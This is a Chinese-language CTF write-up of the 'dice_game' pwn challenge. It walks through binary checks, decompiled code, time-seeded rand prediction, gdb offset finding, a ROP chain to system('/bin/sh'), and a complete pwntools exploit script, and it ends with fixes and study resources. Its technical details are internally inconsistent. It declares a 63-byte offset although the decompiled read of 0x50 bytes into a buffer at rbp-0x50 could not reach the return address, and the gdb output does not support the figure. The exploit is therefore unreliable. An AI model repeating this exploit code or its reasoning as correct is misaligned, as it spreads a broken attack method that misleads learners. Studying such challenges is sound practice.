1. 项目背景与核心挑战
"dice_game"是CTF竞赛平台"攻防世界"中一道经典的pwn引导题目,主要考察二进制漏洞利用的基础能力。这道题目的典型特征是程序模拟了一个掷骰子猜数字的游戏,但通过精心设计的输入可以触发缓冲区溢出漏洞,最终实现任意代码执行。
我在实际解题过程中发现,这道题完美融合了栈溢出、伪随机数预测、ROP链构造等多个基础知识点,特别适合刚接触pwn领域的新手建立完整的漏洞利用思维链条。下面我将从漏洞分析、利用思路到最终exp编写,详细拆解这道题的解题全过程。
2. 环境准备与初步分析
2.1 题目文件检查
首先使用file命令查看二进制文件类型:
bash复制$ file dice_game
dice_game: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
关键信息:
- 64位ELF文件
- 动态链接
- 未去除符号表(not stripped)
- 无PIE保护(检查ASLR状态的重要指标)
2.2 保护机制检查
使用checksec工具查看安全机制:
bash复制$ checksec --file=dice_game
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
保护机制分析:
- 无栈保护(canary):存在栈溢出可能
- NX enabled:栈不可执行,需要ROP技术
- No PIE:代码段地址固定,便于计算偏移
3. 漏洞分析与利用思路
3.1 程序逻辑逆向
使用IDA Pro进行反编译,主函数关键逻辑如下:
c复制int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[55]; // [rsp+0h] [rbp-50h]
unsigned int seed; // [rsp+37h] [rbp-19h]
int i; // [rsp+3Ch] [rbp-14h]
seed = time(0LL);
srand(seed);
printf("Welcome to the dice game!\n");
printf("You need to guess the number rolled by the dice.\n");
printf("You have 6 tries.\n");
for ( i = 0; i <= 5; ++i ) {
printf("Give me your guess (1-6): ");
read(0, buf, 0x50uLL); // 漏洞点:可溢出buf[55]
if ( atoi(buf) == rand() % 6 + 1 )
puts("You win!");
else
puts("You lose!");
}
return 0;
}
3.2 漏洞点定位
关键漏洞在于read(0, buf, 0x50uLL):
- buf大小55字节,但允许读取0x50(80)字节
- 可覆盖栈上返回地址(RIP)
- 无canary保护,溢出不会被检测
3.3 利用思路设计
- 信息泄露:由于程序没有输出功能,需要构造ROP链实现泄露
- 随机数预测:seed基于time(0),可本地预测随机数序列
- ROP链构造:利用溢出覆盖返回地址,构造执行流
4. 漏洞利用详细实现
4.1 随机数序列预测
由于seed使用time(0)初始化,我们可以在本地重现随机数序列:
python复制from ctypes import CDLL
import time
libc = CDLL('libc.so.6')
current_time = int(time.time())
libc.srand(current_time)
# 生成与目标程序相同的随机数序列
rand_sequence = [libc.rand() % 6 + 1 for _ in range(6)]
4.2 栈布局分析与偏移计算
通过gdb调试确定偏移量:
code复制gdb-peda$ pattern create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Give me your guess (1-6): AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
RSP: 0x7fffffffe3c8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
计算得偏移量为55(缓冲区) + 8(RBP) = 63字节
4.3 ROP链构造
由于是基础题,程序中已有system和"/bin/sh"字符串:
python复制pop_rdi = 0x4008a3 # pop rdi; ret
system = 0x400660
binsh = 0x4008E8
完整ROP链:
code复制padding(63) + pop_rdi + binsh + system
5. 完整Exploit代码
python复制from pwn import *
from ctypes import CDLL
import time
context(arch='amd64', os='linux')
# 预测随机数
libc = CDLL('libc.so.6')
current_time = int(time.time())
libc.srand(current_time)
rand_sequence = [libc.rand() % 6 + 1 for _ in range(6)]
# 构造payload
pop_rdi = 0x4008a3
system = 0x400660
binsh = 0x4008E8
payload = b'A'*63
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
# 交互过程
p = process('./dice_game')
for i in range(6):
p.recvuntil(b'Give me your guess (1-6): ')
if i == 0:
p.send(payload) # 第一次输入触发溢出
else:
p.sendline(str(rand_sequence[i]).encode())
p.interactive()
6. 关键问题与调试技巧
6.1 常见问题排查
-
随机数不匹配:
- 检查本地与远程时区是否一致
- 考虑网络延迟,尝试time-1/time+1
-
ROP链失效:
- 使用ROPgadget确认gadget地址
- 检查栈对齐要求(某些系统需要16字节对齐)
-
栈偏移计算错误:
- 使用cyclic pattern精确计算
- 考虑程序可能存在的栈调整指令
6.2 高级技巧扩展
-
无/bin/sh情况:
- 使用gets+write组合泄露libc
- 通过read写入"/bin/sh"到已知地址
-
有ASLR情况:
- 先泄露libc地址
- 计算libc基址后再构造ROP链
-
无直接system情况:
- 使用execve系统调用
- 构造syscall链实现execve
7. 防御方案与修复建议
7.1 漏洞修复方案
- 输入长度限制:
c复制read(0, buf, sizeof(buf)); // 严格限制读取长度
- 启用安全机制:
- 编译时添加
-fstack-protector-all启用canary - 添加
-pie -fPIE启用地址随机化
- 随机数强化:
c复制seed = time(0) ^ getpid(); // 增加熵源
7.2 安全开发建议
- 始终对用户输入进行长度检查
- 关键函数使用更安全的替代品:
- 用fgets替代gets
- 用snprintf替代sprintf
- 最小权限原则:降低程序运行权限
8. 学习路线与资源推荐
对于想系统学习pwn的新手,我建议按照以下路线:
-
基础阶段:
- 《Hacking: The Art of Exploitation》
- x86/x64汇编语言
- GDB调试基础
-
漏洞类型:
- 栈溢出 → 堆溢出 → 格式化字符串
- Use-after-free → Double free
-
练习平台:
- 攻防世界新手区
- pwnable.kr
- CTFwiki基础挑战
-
工具链:
- pwntools
- ROPgadget
- one_gadget
- LibcSearcher
这道dice_game题目虽然简单,但完整涵盖了从漏洞分析到利用的全过程。通过这道题,新手可以建立起最基本的漏洞利用思维模型,为后续更复杂的漏洞类型打下坚实基础。在实际操作中,最重要的是培养耐心调试的习惯,每个步骤都通过gdb验证执行效果,这样才能真正掌握pwn技术的精髓。